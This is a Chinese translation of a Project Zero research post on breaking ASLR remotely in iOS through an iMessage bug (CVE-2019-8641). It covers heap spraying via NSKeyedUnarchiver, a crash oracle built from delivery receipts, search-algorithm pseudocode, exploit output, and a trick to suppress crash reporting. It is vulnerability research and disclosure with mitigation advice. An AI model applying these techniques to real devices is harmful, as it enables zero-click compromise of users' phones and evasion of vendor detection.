这个漏洞最初获得是绝对地址解引用,其中读取的值稍后作为ObjC对象。因此,要实现此漏洞的exploit进行远程代码执行,需要对目标地址空间有一定的了解。这篇文章介绍了一种不需要任何信息泄露漏洞就能远程攻破ASLR的方法。
首先,评估早期堆喷射技术的有效性。然后,介绍一种技术,通过这种技术可以推测出仅给定内存损坏错误的dyld共享缓存区域的基本地址。
通过这种技术可以仅在存知道内存损坏错误的情况下推断出dyld的基地址。公布的代码实现了这种的攻击,并且可以在几分钟内在有漏洞的设备上远程推测出共享缓存的基址。
iOS中堆喷射
堆喷射的目的是将攻击者选择的数据存在已知地址上,以便在攻击过程中可以引用它。由于ASLR和64位地址的原因,堆喷射今天的作用应该低于15年前。但在iOS上,这种技术仍然有用,仅需喷射约256MB的数据即可将受控数据放置在已知地址。下面的代码演示这一点:
const size_t size = 0x4000;
const size_t count = (256 * 1024 * 1024) / size;
for (int i = 0; i < count; i++) {
int* chunk = malloc(size);
*chunk = 0x41414141;
}
// Now look at the memory at 0x110000000
在iOS上运行会把0x414141存放在地址0x110000000:
(lldb) x/gx 0x110000000
0x110000000: 0x0000000041414141
通过iMessage进行堆喷射
接下来的问题是如何通过iMessage远程发送几百兆字节的数据。有两种方法:
- 1.通过内存泄漏(不是信息泄漏!),一种“forgotten”了一块内存且从不释放的BUG,并多次触发它,直到泄漏到所需的内存量为止。
- 2.通过查找和滥用“amplification gadget”:它会获取现有数据块,并且可以复制多次,从而使攻击者仅发送较少的字节就可以喷射大量内存。
NSKeyedUnarchiver API提供了两种原语,并且此exploit实际上结合了这两种:它发送大约100kB的消息,这似乎是内联数据的最大大小,以及大约32MB的堆数据。然后,它泄漏了32MB内存,并重复了几次此过程以执行完整的堆喷射。
但是,使用下载的附件(pbdi key),很可能在一条消息中执行整个喷射。这样就不需要内存泄漏了,并且在必要时可以多次触发该BUG。
在NSKeyedUnarchiver子系统中,有许多地方会出现内存泄漏。cyclic对象图就是一个例子,它们永远不会被清除,因为它们互相保持一个生命周期。还有另一种方法:在nsvalue解码时使用的NSKeyedCoderOldStyleArrays,由于NSKeyedUnarchiver中的一个特性,无论通过的类是什么,它总是被反序列化。NSKeyedCoderOldStyleArray存储其大小和指向malloc分配的块的指针,该块包含多个相同类型的值,例如整数,c字符串或ObjC对象。有趣的是,当NSKeyedCoderOldStyleArray被销毁时,它只释放它后面的内存,而不会递归地释放其中包含的对象。这样,如果数组包含指向其他内存块(如ObjC对象)的指针,则内存会泄漏。这通常是没问题的,因为一个_nskeyedcoderoldstylearray只是临时用于NSValue解码的数组。但是,它也可以被解码为一个独立的对象,因此有可能泄漏大量的ObjC对象。
至于amplification gadget,ACZeroingString实例似乎是最好的选择,已经在娜塔莉(Natalie)CVE-2019-8646的exploit中利用了,作为initWithCoder的一部分,ACZeroingString将获取一个现有的NSData对象并将其内容复制到一个新分配的内存块中。
喷射大约32MB堆数据的对象图如下所示:
每个ACZeroingString实例将NSData的内容复制到新分配缓冲区中,并且在当前消息已经完全处理完毕之后,NSKeyedCoderOldStyleArray也会保持所有ACZeroingString实例的状态。在发送大约8条这样的消息之后,受控数据将位于0x110000000。
在已知地址控制数据是第一步,但这还不够。根据现有的exploit,现在可以在heapspray区域中创建伪造的ObjC对象,并在[NSSharedKeySet indexForKey:]中使用。但是,由于heapspray内容是不可执行的,因此在实现伪造对象之前,必须要知道代码页的地址。在简单介绍一些ObjC内部构件之后,接下来将讨论如何实现这一点。
用于绕过ASLR的Objective-C
接下来显示的是[NSSharedKeySet indexForKey:]相关代码,刚好从可控地址读取:
// index is fully controlled, _keys is nullptr
id candidate = self->_keys[index];
if (candidate != null) {
if ([key isEqual:candidate]) {
return prevLength + index;
}
}
这里使用的id表示对ObjC对象的引用,类似C中的void*。但是,与C不同的是ObjC具有runtime类型信息,因此始终可以在运行时确定对象的类型,例如通过isKindOfClass方法。此外,ObjC支持指针标记,因此指向ObjC对象(例如id)的指针通常可以是以下两种情况之一:
- 1.指向ObjC对象的实际指针
- 2.一个指针大小的值,包含类型和值
对象的布局将在下一篇文章中介绍,该布局与获取代码执行有关。但是,对于这篇文章,有必要仔细研究ObjC标记的指针。
NSNumbers和NSStrings是标记指针的示例。在Arm64上,如果设置了MSB,则该id被视为带标记的指针。在这种情况下,相应的类存储在一个全局表中,在标记的指针中将索引编码到该全局表中。这样,一个存储32位整数的NSNumber实例(在ObjC中:NSNumber * n = @ 42
)将大致表示为:
0xb0000000000002a2
(1 011 00...001010100010)
MSB为1时,表示标记指针以下3位标识类的索引对应NSCFNumber。在使用_nscfnumber的情况下,32位的值以8位存储。而最低字节表示特定的数字类型,在本例中为kcfnumbersint32类型。
在ObjC id上操作的api (objc_msgSend, objc_retain, objc_xyz)通常首先检查标记位,然后进行相应的操作:
if (arg & 0x8000000000000000) {
// handle tagged pointer
} else {
// handle real pointer
}
可能为了”exploit techniques that abuse tagged pointers“,现在可以将标记的指针值与每个进程的随机值进行XOR运算。因此,在运行时使用的实际值现在为:
0xb0000000000002a2 ^ objc_debug_taggedpointer_obfuscator
其中objc_debug_taggedpointer_obfuscator
似乎是一个完全随机的数字,但MSB必须为0(以保留指针标记位)。下面用lldb和一个iOS应用程序进行的实验证明了这一点:
(lldb) p n
(__NSCFNumber *) $0 = 0xf460034a00975a82 (int)42
(lldb) p objc_debug_taggedpointer_obfuscator
(void *) $1 = 0x4460034a00975820
(lldb) p/x (uintptr_t)n ^ (uintptr_t)objc_debug_taggedpointer_obfuscator
(unsigned long) $9 = 0xb0000000000002a2
Dyld共享缓存
在iOS上(以及macOS上),大多数系统库都预先链接到一个名为dyld_shared_cache的二进制中。这优化了程序加载时间,因为它减少了符号解析运行时的开销。它与安全性相关的是,它在每个进程中都映射到相同的地址,并且实际地址在设备启动期间仅被随机分配一次。因此,一旦知道了动态库的基地址,也就知道了该设备上任何用户空间进程中所有库的地址(包括ROP gadgets、所有ObjC类、各种字符串等等)。这足以实现RCE。
在最新的iOS版本中,dyld_shared_cache将被映射到0x180000000到0x280000000之间的某个地方,提供大约200000个基地址,因为缓存本身的大小大约是1GB,而分页大小是0x4000字节。这样,就可以通过暴力破解找到基址。但是,由于每一次错误的猜测都可能导致崩溃,因此如果服务崩溃太快,则目标imagent进程将很快受到重启的限制。通过大约每10秒崩溃一次就可以避免这种情况。这样,一次完整的暴力破解攻击大约需要3-4周。虽然考虑到移动设备很少重启,这样的攻击并非完全不可能,但这不太现实。这篇文章剩余部分介绍了如何在5分钟内推断出基址。
通过Crash Oracle攻破ASLR
CVE-2019-8646一个突出的特点是,它在受害者设备和攻击者之间创建了一个额外的通信通道。这情况很少见,通过对相关进程沙盒进行适当处理,以防止其进行任何类型的网络活动,很大程度上可以缓解这种情况。因此,推动这项研究的主要问题之一是:假如只有一个远程内存破坏漏洞,是否可能以某种方式猜测动态库的基地址?为了实现这一点,必须首先找到某种通信通道,这种通道以iMessage消息的形式存在。
iMessage支持两种不同类型的消息:发送和读取。后者可以在设置中禁用,而前者将始终被发送。以下来自iMessage聊天截图显示了如何使用这些消息。
在这里,发送者接收到“Foo”送达回执和已读回执,“Bar”的送达回执,消息“Baz”没有回执。回执很有意思,因为它们无需任何用户交互即可自动发送。更有趣的是imagent发送它们的时间,imagent处理输入的iMessage逻辑的伪代码如下所示:
processIncomingMessage(message):
msgPlist = decodeIntoPlist(message)
# extract some values from the plist ...
atiData = msgPlist['ATI']
ati = NSKeyedUnarchive(atiData) [1]
# more stuff ...
sendDeliveryReceipt()
# yet more stuff ...
NSKeyedUnarchiver API中的任何BUG都将在[1]处触发。这样就可以构造一个“crash oracle”:如果在NSKeyedUnarchiving期间触发了崩溃,则不会发送任何回执,否则将发送一个回执。反过来想允许发送方推测payload是否导致远程设备上的imagent崩溃。现在剩下的就是将bug变成oracle函数,以便可以从每个oracle的查询结果中提取有用的信息。
理想的oracle是:
def oracle(addr):
if isMapped(addr):
nocrash()
else
crash()
鉴于此,远程攻破ASLR将非常简单:
- 1.以
〜500MB
的步长在0x180000000和0x280000000之间执行线性搜索,最多需要8个oracle查询。 - 2.在找到的地址和找到的地址减去步长之间执行二进制搜索。由于它以对数时间运行,因此再次只需要几个查询。
破解ASLR最多可能需要10条iMessage,而最多可能不超过20条。
然而,在实践中,内存破坏漏洞不太可能产生这种完美的oracle函数,因此需要使用上述算法的通用版本。在任何情况下,这个漏洞可能首先需要一些exploit来产生一个可用的oracle函数,CVE-2019-8641也是如此。
首先,不幸的是,本系列第一篇文章中给出的Bug触发器都将崩溃(无论给的地址是否有效):(第一篇文章中的代码片段)从攻击者控制的地址读取的ObjC id随后将与当前正在查找的key进行比较(NSSharedKeySet中的第13行),由于很可能不匹配,因此查找将失败,并且-[NSSharedKeySet initWithCoder:]将尝试从头开始重新创建NSSharedKeySet,因此,它将在subKeySet上调用[NSSharedKeySet allKeys]。不幸的是,由于subKeySet尚未完全初始化(这是BUG),allKeys方法在访问_keys数组时肯定会崩溃,因为它仍然是nullptr。幸运的是,可以使用以下图解决此问题:
这里的技巧是添加一个新的KeySet(SharedKeySet3),它将始终能够查找第二个key(“k2”)。但是,由于此KeySet现在是SharedKeySet1的subKeySet,所以必须以其他方式取消对SharedKeySet2的存档。这只能通过先解档一个新的SharedKeyDictionary来实现,而这只能通过SharedKeySet1的_keys数组来实现。
不幸的是,用于解压缩_keys的类白名单不包括NSDictionary。不过,__NSLocalizedString类在其initWithCoder实现中具有以下代码来解码其 dictionary配置(本身是NSString,因此是允许的):
NSSet* classes = [NSSet setWithObjects:[NSDictionary class], ...];
NSDictionary* configDict = [coder decodeObjectOfClasses:classes
forKey:@"NS.configDict"]
这样,NSSharedKeyDictionary可以通过“包装”到NSLocalizedString来在解档的过程中解码_keys。
这样,在以下两种情况下,解档显示的payload会崩溃:
- 1.如果地址不可读(在这种情况下为0x41414140,即从_rankTable 读取的索引乘以8,即未映射)
- 2.如果从地址读取的值调用[key isEqual:candidate]时崩溃
如果值为零,则不会调用[key isEqual:]。否则,如果该值没有设置MSB,则它将被视为指向ObjC对象的指针,并对其调用方法,除非指向的值是ObjC对象,否则肯定会导致崩溃。如果该值设置了MSB,它将被视为标记的指针,并且很可能会获取其类。首先通过将标记的指针与随机混淆器值进行XOR运算,然后从高位提取索引到类表中并使用该索引。由于并非填充了类表的所有条目,因此如果索引无效,此步骤可能会导致崩溃。由于混淆器值未知,通常无法提前预测给定值是否会导致崩溃。但在某些情况下,即使无效标记的指针值也不会导致崩溃:[NSCFString isEqual:]
,当所查找的key是字符串时使用它(与前面示例中的对象图情况一样)。该实现对于标记的指针值具有以下特殊大小写:
if (a3 & 0x8000000000000000) {
// Extract class index from tagged pointer
v5 = ((a3 ^ objc_debug_taggedpointer_obfuscator) >> 60) & 7;
if ( v5 == 7 )
// Use extended class index in bits 52 - 60
v5 = (((a3 ^ objc_debug_taggedpointer_obfuscator) >> 52) & 0xFF) + 8;
// Check class index equals the one for NSString
if ( v5 == 2 )
// If yes, extract string content from lower bits and compare
return _NSTaggedPointerStringEqualCFString(a3, self);
// If not, just return false directly
return 0;
}
使用isEqual方法,任何具有MSB set的值现在都可以用作参数,而不会导致崩溃。
最终得到的oracle函数大致如下:
oracle(addr):
if isMapped(addr) and
(isZero(*addr) or hasMSBSet(*addr) or pointsToObjCObject(*addr)):
nocrash()
else:
crash()
考虑到这个oracle,有必要为目标设备的共享缓存构建一个“profile”,这实际上是一个bitmap,其中0表示访问将崩溃,1表示访问不会崩溃。由于共享缓存二进制文件在同一型号硬件和iOS版本中所有iPhone上都是相同的,因此只需在类似于目标设备的设备上运行自定义应用程序,然后扫描内存中的共享缓存区域,即可完成此操作。实际上,profile文件还应该支持第三个“未知”状态,在这种状态下两种结果都是可能的。例如,这将用于共享缓存中的可写内存区域,因为它们的运行时内容是未知的。但是,为简单起见,下面的解释将假设一个双状态配置文件,采用该算法来处理三个状态配置文件非常简单,并在发布的源代码中实现。
两种状态的配置文件的bitmap可能如下所示:
然后,下一步使用oracle再次在0x180000000和0x280000000之间执行线性搜索,直到未观察到崩溃。之后,可以通过在分页大小的步骤中遍历profile文件,并探测不会导致崩溃的偏移计算基地址,实际上,此步骤将大约30000-40000个不同的基地址。
接下来,必须使用搜索算法来有效地确定正确的基地址,同时使用最少数量的oracle查询(因为每个oracle查询大约需要10秒,以免imagent太快崩溃,这将很快导致launchd重新启动服务),下图显示了内存中映射的可能是基地址的共享缓存:
现在的目标是找到一个新的地址,当通过crash oracle进行探测时,它将允许大约一半的剩余对象被丢弃。在上图中,例如地址是0x19020c028(绿线),如果在向oracle查询该地址时发生崩溃,则仅保留第一个和最后一个地址,否则保留中间三个地址,给定选择的对象和要探测的地址,还可以计算崩溃的概率(在本例中为⅖),并且在这种情况下,在oracle查询之后剩余选择的对象的预期数量(E):
E = ⅗ * 3 + ⅖ * 2 = 2.6
为了有效地找到正确的基址,该算法现在会在每次遍历中选择E值最小的地址。理想情况下,如果配置文件中的1和0大致平衡(这里或多或少是这种情况),这将是当前选择对象的一半,在这种情况下,正确的基址将在对数时间内找到,大约2-5分钟。
在实现此算法时,会出现一个性能问题,因为对选择对象的搜索将采用shared_cache_size / 8 * num_candidates次操作,很容易达到一万亿(10^12)。然而,在实践中,通过随机测试100个不同的地址来接近理想的解是最好的。使用三个状态配置文件时出现的另一个小问题是,该算法是保守的,将可写内存页视为崩溃和不崩溃(因为运行时不知道会有什么值)。这样,崩溃的可能性只能从只读页中估算出来。然而,这种真实概率似乎在实践中工作得很好,因为它不影响算法的正确性。
算法的伪代码如下所示:
candidates = [...]
while len(candidates) > 1:
best_address = 0x0
best_E = len(candidates)
remaining_candidates_on_crash = None
remaining_candidates_on_nocrash = None
for _ in range(0, 100):
addr = random.randrange(minbase, maxbase, 8)
crashset = []
nocrashset = []
for profile in candidates:
if profile.addr_will_crash(addr):
crashset.append(profile)
if profile.addr_will_not_crash(addr):
nocrashset.append(profile)
crash_prob = len(crashset) / len(candidates)
nocrash_prob = 1.0 - crash_prob
E = crash_prob * len(crashset) + nocrash_prob * len(nocrashset)
if E < best_E:
best_E = E
best_address = addr
remaining_candidates_on_crash = crashset
remaining_candidates_on_nocrash = nocrashset
if oracle(best_address):
candidates = remaining_candidates_on_nocrash
else:
candidates = remaining_candidates_on_crash
下面的代码显示了exploit输出的部分,该部分猜测了目标设备上共享缓存的基地址,打印的“score”值对应查询显示后的地址计算出的剩余数量。
> ./aslrbreaker.py
[!] Note: this exploit *deliberately* displays notifications to the target
[*] Trying to find a valid address...
[*] Testing address 0x180000000...
[*] Testing address 0x188000000...
[*] Testing address 0x190000000...
[*] Testing address 0x198000000...
[*] Testing address 0x1a0000000...
[*] Testing address 0x1a8000000...
[*] Testing address 0x1b0000000...
[*] Testing address 0x1b8000000...
[*] Testing address 0x1c0000000...
[+] 0x1c0000000 is valid!
[*] Have 34353 potential candidates for the dyld_shared_cache slide
[*] Shared cache is mapped somewhere between 0x181948000 and 0x203d64000
[*] Now determining exact base address of shared cache...
[*] 34353 candidates remaining...
[*] Best (approximated) address to probe is 0x1b12070d0 with a score of 17208.40
[*] 17906 candidates remaining...
[*] Best (approximated) address to probe is 0x1b8a353d8 with a score of 9144.48
[*] 9656 candidates remaining...
[*] Best (approximated) address to probe is 0x1bcb23de0 with a score of 5093.02
[*] 5104 candidates remaining...
[*] Best (approximated) address to probe is 0x1e172e3f8 with a score of 2754.83
[*] 2682 candidates remaining...
[*] Best (approximated) address to probe is 0x1b363c658 with a score of 1454.06
[*] 1728 candidates remaining...
[*] Best (approximated) address to probe is 0x1e0301200 with a score of 929.21
[*] 915 candidates remaining...
[*] Best (approximated) address to probe is 0x1b0c04368 with a score of 497.63
[*] 593 candidates remaining...
[*] Best (approximated) address to probe is 0x1e0263068 with a score of 319.15
[*] 326 candidates remaining...
[*] Best (approximated) address to probe is 0x1bec43868 with a score of 163.84
[*] 156 candidates remaining...
[*] Best (approximated) address to probe is 0x1c15ab0e8 with a score of 78.21
[*] 82 candidates remaining...
[*] Best (approximated) address to probe is 0x1c49efe90 with a score of 41.02
[*] 40 candidates remaining...
[*] Best (approximated) address to probe is 0x1befd60f8 with a score of 20.00
[*] 20 candidates remaining...
[*] Best (approximated) address to probe is 0x1c14089d0 with a score of 10.00
[*] 10 candidates remaining...
[*] Best (approximated) address to probe is 0x1c428d450 with a score of 5.00
[*] 5 candidates remaining...
[*] Best (approximated) address to probe is 0x1df0939f0 with a score of 2.60
[*] 2 candidates remaining...
[*] Best (approximated) address to probe is 0x1c3d255f8 with a score of 1.00
[+] Shared cache is mapped at 0x1bf2b4000
最后一点,似乎可以从不同的内存破坏漏洞中构造类似的oracle函数。例如,任何允许攻击者破坏或伪造ObjC对象的漏洞(通过CVE-2019-8641之类的OOB读取,或通过CVE-2019-8647和CVE-2019-8662之类的UAF),可以通过以下方式变成类似的oracle:每当删除对ObjC对象的引用时,都会以该对象作为参数来调用objc_release。此函数将执行以下步骤:首先检查对象是否具有“custom retain release”功能,方法是检查Class对象中已释放对象关联的位(每个ObjC对象都通过存储在偏移量为零的指针(称为“ ISA”)引用其Class对象(-a)指针)。如果对象没有自定义retain release,,则将减少内联引用计数,如果结果不为零,则不会发生任何其他情况。否则,将调用对象的析构函数,并释放内存块。
因此,如果可以破坏对象的Class指针从而指向共享的缓存区域,同时内联对象的refcount大于1,那么objc_release只有在一个特定的位被设置为相对偏移时才会崩溃。这样,crash oracle就可以再次构建了。
支持不同的iOS版本和硬件型号
这个技术的局限性在于,它首先需要知道目标设备的硬件型号和iOS版本,才能构建正确的共享缓存配置文件。然而,情况未必如此:如果型号或版本未知,那么攻击者可以为所有已知的硬件型号和iOS版本构建共享缓存配置文件。这样,在最初的线性扫描完成后,可能会产生几百万个选择对象。但是,由于对数的关系,即使有百万计的数量,这种攻击仍然只需要发送几十条消息即可确定的基址以及正确的共享缓存,型号和版本。但是,此研究尚未实现。
关于Noisiness注意事项
另一个看似限制是此攻击的有Noisiness。虽然数十次崩溃使用户不易察觉,但如果在设备上启用了“Share iPhone Analytics”功能,它将向Apple发送崩溃报告。因此,该技术对于现实世界的攻击者而言似乎不太有用,因为它可以告知Apple正在被利用的漏洞。但是,iOS似乎在25次崩溃后停止收集进程的崩溃日志。可以通过反复使iOS进程崩溃(例如imagent)和在连接到Mac设备上使用Console.app来监视设备日志来。最终显示以下消息:
default 14:54:42.957547 +0200 ReportCrash Formulating report for corpse[597] imagent
default 14:54:42.977891 +0200 ReportCrash Report of type '109(<private>)' not saved because the limit of 25 logs has been reached
因此,应该可以先使用一个独立的、无法利用的DoS bug(例如ObjC异常或由于递归太多而导致的堆溢出)来使imagent崩溃大约25次,这样就不会再收集崩溃日志了,然后才启动实际的利用过程。但是,这在实践中没有得到验证。
The Issue with Automatic Delivery Receipts
如本文介绍,通过滥用目标设备发送给攻击者的自动发送回执创建一个通道来绕过ASLR是可能的。首先解决此问题的方法很简单:在进行任何复杂的消息解析之前发送回执,这样不管payload是否会导致崩溃,它都会被发送。然而,这是不够的,因为以下攻击可能仍然有效:
- 1.连续2-3次发送“oracle query”消息(可能导致崩溃的消息)
- 2.发送永远不会导致崩溃的“normal”消息
- 3.计算最后一个回执到达的时间。如果这个时间超过几秒,那么imagent很可能在步骤1中多次崩溃,现在会受到launchd重启的延迟
这种攻击的exploits现在的是由launchd在iOS上强制执行的延迟重启。不过,在其他平台上也可能存在类似的机制,从接收方发送的任何类型自动消息都有潜在的危险(或任何其他可能被攻击者观察到的操作,例如访问一个网站),因为它可能以类似的方式被利用。因此,在理想情况下,不应该发送任何自动消息,或者至少不应发送给用户以前从未与之进行过任何交互的发件人。
本系列的第二篇文章到此结束,本系列的第三部分也是最后一部分将详细介绍如何在A12和更新的设备存在PAC(Pointer Authentication Code)的情况下实现远程代码执行。
本文翻译自Project Zero Blog